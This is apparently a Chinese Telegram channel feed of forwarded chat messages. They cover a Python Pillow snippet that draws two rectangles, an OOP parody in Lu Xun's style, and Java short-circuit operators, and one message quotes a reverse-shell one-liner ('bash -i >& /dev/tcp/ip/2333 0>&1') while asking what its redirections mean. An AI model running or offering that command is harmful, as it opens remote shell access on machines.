duangsuse::Echo
我们最后玩一会 #Python Pillow 吧。好久没涉足应用编程了。 结果我还觉得我太菜了,都不会了呢…… 我们要生成一个 600x600 的 square,由两个子 square 构成: (left-top)s 1. (0, 0) (w/2, h) 2. (w/2, 0) - (w, h) from PIL import Image, ImageDraw def square(size, fill_a, fill_b, mode="RGB") -> Image: sq = Image.new(mode…
所以,大家可以试着利用浮点系数对这个程序进行泛化:
def wall_2square(size, fill_a, fill_b, mode="RGB", ratio_a=0.5) -> Image:
sq = Image.new(mode, size)
draw = ImageDraw.Draw(sq)
(w, h) = size
x_astop = w * ratio_a
for (i, xy) in enumerate([ [(0,0), (x_astop, h)], [(x_astop, 0), (w, h)] ]):
draw.rectangle(xy, fill = fill_a if i == 0 else fill_b)
return sq
说白了,整个绘制程序都是在 ImageDraw 上的,但 Python 没有扩展函数……Forwarded from Deleted Account
在我看来录「我是傻逼」,然后倒放一遍 speech recog. 就可以了
Forwarded from Deleted Account
ng 变声母 gn 的那个有意思
声调阳平/去声也好反向嘛
特殊规则用 regex 替换
可以写个 translate 程序?
声调阳平/去声也好反向嘛
特殊规则用 regex 替换
可以写个 translate 程序?
Forwarded from Deleted Account
如果鲁迅先生学面向对象,他一定害的所有方法都成 protected (
你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?
*注:protected 方法内部可以访问同一类实例的 protected 方法
你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?
*注:protected 方法内部可以访问同一类实例的 protected 方法
Forwarded from Deleted Account
0>&1 是 stdin->shell stdout 的意思?🤔
>& 又是何种重定向……(直觉是默认0)
>& 又是何种重定向……(直觉是默认0)
Forwarded from 里克 |今天刷题了吗?
bash -i >& /dev/tcp/ip/2333 0>&1 这个语句的-i >& 和0>&1 怎么理解。只能看懂是执行了一次tcp连接。
Forwarded from dnaugsuz
你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。
你既然也要被用,你就和x一样。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?
若你没有被用,是说诳也。死对象是说诳的,所以你是死对象。
我 finialize&free 死对象,所以我是好 GC。GC 的 profile 是最有价值的,所以我的话是不错的,我的话既然不错,你就是死对象无疑了!
你既然也要被用,你就和x一样。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?
若你没有被用,是说诳也。死对象是说诳的,所以你是死对象。
我 finialize&free 死对象,所以我是好 GC。GC 的 profile 是最有价值的,所以我的话是不错的,我的话既然不错,你就是死对象无疑了!
Forwarded from dnaugsuz
由一个不成立的条件得出某命题成立,然后再从那个成立的命题解出自己想要的答案……
上面也的确是循环定义,但从 statement 的开始来看,就已经有纰漏了,除非“鲁迅”会在你说出纰漏的时候强调一遍先读完后半部分。
上面也的确是循环定义,但从 statement 的开始来看,就已经有纰漏了,除非“鲁迅”会在你说出纰漏的时候强调一遍先读完后半部分。
#Java 里 (&) 竟然不只是 bitwise and,还支持 boolean&boolean 的使用(只是不短路),真是……
Forwarded from dnaugsuz
补充一句,(p && q) 短路的意思是若 p 不成立则 q 不执行
(p || q) 的短路则是若 p 已成立则 p 不执行
(p || q) 的短路则是若 p 已成立则 p 不执行